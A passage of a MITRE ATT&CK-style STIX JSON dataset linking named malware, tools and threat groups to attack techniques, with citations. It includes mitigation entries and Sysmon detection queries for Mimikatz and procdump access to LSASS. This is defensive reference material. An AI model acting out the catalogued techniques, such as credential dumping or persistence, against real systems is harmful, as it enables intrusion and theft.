Venezuelan government institutions under attack. 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Retrieved June 15, 2020."}], "modified": "2020-06-29T04:05:19.132Z", "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used a portable FAT16 partition image placed in %TEMP% as a hidden file system.(Citation: ESET ComRAT May 2020)", "relationship_type": "uses", "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", "target_ref": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--150f7dbe-3e64-4ee4-a621-6d416e53af63", "created": "2022-08-11T22:35:49.737Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Checkpoint MosesStaff Nov 2021", "url": "https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/", "description": "Checkpoint Research. (2021, November 15). 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Retrieved August 11, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DCSrv](https://attack.mitre.org/software/S1033) has created Registry keys for persistence.(Citation: Checkpoint MosesStaff Nov 2021)", "modified": "2022-08-11T22:35:49.737Z", "relationship_type": "uses", "source_ref": "malware--5633ffd3-81ef-4f98-8f93-4896b03998f0", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--151da49e-c3ee-4615-b62e-c8a3c93a32a6", "created": "2022-06-09T14:47:59.956Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ESET DazzleSpy Jan 2022", "url": "https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/", "description": "M.L\u00e9veill\u00e9, M., Cherepanov, A.. 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(2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}], "modified": "2020-09-22T20:17:38.769Z", "description": "[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has breached Managed Service Providers (MSP's) to deliver malware to MSP customers.(Citation: Secureworks REvil September 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133", "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1567d198-b2b9-4eda-a2e2-ba5dd4e51547", "created": "2018-10-17T00:14:20.652Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}, {"source_name": "Github Koadic", "url": "https://github.com/zerosum0x0/koadic", "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Koadic](https://attack.mitre.org/software/S0250) can use mshta to serve additional payloads and to help schedule tasks for persistence.(Citation: Github Koadic)(Citation: MalwareBytes LazyScripter Feb 2021) ", "modified": "2022-04-06T15:19:49.208Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1567eaca-2b2e-44df-b447-87769738e00a", "type": "relationship", "created": "2020-05-18T19:37:52.331Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro POWERSTATS V3 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", "description": "Lunghi, D. and Horejsi, J.. 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Retrieved March 1, 2021."}], "modified": "2021-03-02T17:22:40.711Z", "description": "[Pysa](https://attack.mitre.org/software/S0583) can perform network reconnaissance using the Advanced IP Scanner tool.(Citation: CERT-FR PYSA April 2020)", "relationship_type": "uses", "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--15e5da78-6475-426e-acd0-09f8a59ca0bb", "type": "relationship", "created": "2021-06-07T13:31:29.988Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FiveHands April 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", "description": "McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}, {"source_name": "CISA AR21-126A FIVEHANDS May 2021", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}], "modified": "2021-06-08T13:23:15.196Z", "description": "[FIVEHANDS](https://attack.mitre.org/software/S0618) can use WMI to delete files on a  target machine.(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)", "relationship_type": "uses", "source_ref": "malware--f464354c-7103-47c6-969b-8766f0157ed2", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--15e5ddeb-ad28-44c0-a7a7-0fe69e05456d", "type": "relationship", "created": "2019-04-17T18:43:36.334Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/", "source_name": "CheckPoint SpeakUp Feb 2019"}], "modified": "2020-03-19T17:58:14.281Z", "description": "[SpeakUp](https://attack.mitre.org/software/S0374) uses cron tasks to ensure persistence. (Citation: CheckPoint SpeakUp Feb 2019)", "relationship_type": "uses", "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", "target_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--15e815c2-ab92-4490-b0ba-f94dddfe8b01", "created": "2023-07-14T14:01:41.417Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-14T14:01:41.417Z", "description": "Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. \n", "relationship_type": "mitigates", "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", "target_ref": "attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--15ec2486-936e-4bb0-8265-84ba20491c05", "type": "relationship", "created": "2021-01-20T20:32:20.105Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Chimera January 2021", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}], "modified": "2021-01-20T20:32:20.105Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has staged stolen data on designated servers in the target environment.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--15f40e8e-7ddd-47f8-a11d-fbebc2c4d3fa", "created": "2023-02-16T18:48:39.215Z", "revoked": false, "external_references": [{"source_name": "Secureworks DarkTortilla Aug 2022", "description": "Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.", "url": "https://www.secureworks.com/research/darktortilla-malware-analysis"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-16T18:48:39.215Z", "description": "[DarkTortilla](https://attack.mitre.org/software/S1066) can use a .NET-based DLL named `RunPe6` for process injection.(Citation: Secureworks DarkTortilla Aug 2022)", "relationship_type": "uses", "source_ref": "malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--15f594bd-b2c1-41c1-82fa-b3c72f82993d", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Medium Detecting Attempts to Steal Passwords from Memory", "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T16:00:14.232Z", "description": "Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nUsage of Procdump and Windows Task Manager for LSASS dumping can also be detected via process creation events, since they both have a predictable set of command-line arguments (i.e., for specifying the process to be dumped). \n\nNote: Sysmon process access events (Event ID 10) can be extremely noisy, which necessitates tweaking the Sysmon configuration file. We recommend taking an approach analogous to that of the Sysmon Modular Configuration project (https://github.com/olafhartong/sysmon-modular) and filtering out any benign processes in your environment that produce large volumes of process access events. \n\nThe GrantedAccess value in the below analytic for Mimikatz is meant to be used solely as an illustrative example of detecting Mimikatz LSASS access. However, actual GrantedAccess values change over time with different versions of Mimikatz and therefore detection engineers need to verify the accuracy of any GrantedAccess values that their analytics are using. \n\nAnalytic 1 - Mimikatz\n\n<code>(source=WinEventLog:\"*Microsoft-Windows-Sysmon/Operational\" EventCode=\"10\" AND TargetImage= \"*lsass.exe\" AND (GrantedAccess=0x1410 OR GrantedAccess=0x1010 OR GrantedAccess=0x1438 OR GrantedAccess=0x143a OR GrantedAccess=0x1418)\nCallTrace=\"C:\\\\windows\\\\SYSTEM32\\\\ntdll.dll+*|C:\\\\windows\\\\System32\\\\KERNELBASE.dll+20edd|UNKNOWN(*)\")</code>\n\nAnalytic 2 - Procdump\n\n```((sourceType=WinEventLog:\"*Microsoft-Windows-Sysmon/Operational\" EventCode=\"10\") AND TargetImage= \"*lsass.exe\" AND SourceImage= \"*procdump.exe\")```\n\nAnalytic 3 - Windows Task Manager\n\n```((sourceType=WinEventLog:\"*Microsoft-Windows-Sysmon/Operational\" EventCode=\"10\") AND TargetImage=\"*lsass.exe\" AND SourceImage= \"c:\\windows*\\taskmgr.exe\")```", "relationship_type": "detects", "source_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--15f74597-d92d-406f-9941-c0dfef3cb609", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Savill 1999", "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", "url": "https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-01T04:34:30.860Z", "description": "Commands under <code>net user</code> can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about and manipulate user accounts.(Citation: Savill 1999)", "relationship_type": "uses", "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--15fb0728-9973-4ce4-b0d9-2c177be952c7", "type": "relationship", "created": "2020-02-21T21:00:49.032Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-21T21:00:49.032Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", "target_ref": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--15fd646c-172b-4458-945a-69a07a5648bb", "created": "2022-09-19T18:24:41.933Z", "revoked": false, "external_references": [{"source_name": "McAfee Honeybee", "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-19T18:24:41.933Z", "description": "During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors used a malicious DLL to search for files with specific keywords.(Citation: McAfee Honeybee)", "relationship_type": "uses", "source_ref": "campaign--4553292d-12c6-4a93-934d-12160370d4e0", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--15fe2d8e-9a4e-433e-9dca-d7329e7ca846", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Deply Mimikatz", "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.", "url": "https://github.com/gentilkiwi/mimikatz"}, {"url": "https://adsecurity.org/?page_id=1821", "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", "source_name": "Adsecurity Mimikatz Guide"}], "modified": "2019-04-24T23:36:42.302Z", "description": "[Mimikatz](https://attack.mitre.org/software/S0002)\u2019s <code>LSADUMP::DCShadow</code> module can be used to make AD updates by temporarily setting a computer to be a DC.(Citation: Deply Mimikatz)(Citation: Adsecurity Mimikatz Guide)", "relationship_type": "uses", "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "target_ref": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--160209ea-5efb-44cf-bc21-fa0c4a8d702f", "type": "relationship", "created": "2022-03-30T14:26:51.874Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.874Z", "description": "Monitor executed commands and arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--16043223-3846-4138-93d0-671339ba3646", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}], "modified": "2020-03-17T01:57:57.362Z", "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) can send process listings over the C2 channel.(Citation: FireEye APT30)", "relationship_type": "uses", "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--160a52b3-8acd-4f19-810f-ac4ce96319d3", "type": "relationship", "created": "2019-06-20T14:52:45.288Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html", "source_name": "FireEye HAWKBALL Jun 2019"}], "modified": "2019-07-06T21:31:25.782Z", "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) has used an OLE object that uses Equation Editor to drop the embedded shellcode.(Citation: FireEye HAWKBALL Jun 2019)", "relationship_type": "uses", "source_ref": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--160d9be2-967e-4116-9c75-44b5b0a8927b", "created": "2020-12-29T16:20:58.881Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Nicolas Falliere, Liam O Murchu, Eric Chien February 2011", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ", "url": "https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-17T17:56:08.249Z", "description": "[Stuxnet](https://attack.mitre.org/software/S0603) encrypts exfiltrated data via C2 with static 31-byte long XOR keys.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)", "relationship_type": "uses", "source_ref": "malware--088f1d6e-0783-47c6-9923-9c79b2af43d4", "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--161225df-de21-4715-b4f3-c324c05ff590", "type": "relationship", "created": "2019-01-29T21:27:25.235Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT38 Oct 2018", "url": "https://content.fireeye.com/apt/rpt-apt38", "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."}, {"source_name": "CISA AA20-239A BeagleBoyz August 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a", "description": "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}], "modified": "2021-09-29T22:24:16.421Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has used a utility called CLOSESHAVE that can securely delete a file from the system. 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Retrieved June 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DanBot](https://attack.mitre.org/software/S1014) files have been named `UltraVNC.exe` and `WINVNC.exe` to appear as legitimate VNC tools.(Citation: ClearSky Siamesekitten August 2021)", "modified": "2022-09-01T14:18:29.428Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--b8d48deb-450c-44f6-a934-ac8765aa89cb", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--161c58eb-29d7-4de3-aca8-3bda085f19a3", "created": "2022-04-15T15:46:02.250Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Novetta-Axiom", "description": "Novetta. (n.d.). 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(2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}], "modified": "2021-06-10T15:17:41.897Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) has the ability to execute its payload via PowerShell.(Citation: Malwarebytes Kimsuky June 2021)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--162a051d-a551-4b8c-875a-75264768e541", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto MoonWind March 2017", "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}], "modified": "2020-03-20T17:34:12.521Z", "description": "[MoonWind](https://attack.mitre.org/software/S0149) installs itself as a new service with automatic startup to establish persistence. The service checks every 60 seconds to determine if the malware is running; if not, it will spawn a new instance.(Citation: Palo Alto MoonWind March 2017)", "relationship_type": "uses", "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1631a8e5-36e6-4468-9ed6-48df1138461c", "type": "relationship", "created": "2019-08-26T13:09:57.922Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", "source_name": "ESET TeleBots Oct 2018"}], "modified": "2020-03-30T02:10:54.887Z", "description": "[Exaramel for Windows](https://attack.mitre.org/software/S0343) automatically encrypts files before sending them to the C2 server.(Citation: ESET TeleBots Oct 2018) ", "relationship_type": "uses", "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1637c874-852e-4ab9-b6e0-2c855da74ef0", "type": "relationship", "created": "2021-02-08T20:30:30.984Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Volatile Cedar March 2015", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}, {"source_name": "ClearSky Lebanese Cedar Jan 2021", "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}], "modified": "2021-02-10T18:04:49.116Z", "description": "[Volatile Cedar](https://attack.mitre.org/groups/G0123) has performed vulnerability scans of the target server.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3", "target_ref": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--163851e2-5236-41cb-897f-06e33624c3ec", "type": "relationship", "created": "2021-06-18T15:26:55.692Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Siloscape Jun 2021", "url": "https://unit42.paloaltonetworks.com/siloscape/", "description": "Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}], "modified": "2021-09-07T20:45:41.675Z", "description": "[Siloscape](https://attack.mitre.org/software/S0623) searches for the kubectl binary.(Citation: Unit 42 Siloscape Jun 2021)", "relationship_type": "uses", "source_ref": "malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--163c1ca5-c5cb-4cc8-b9e4-d0a137d41e52", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Know Your Enemy FIN8 Aug 2016", "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your 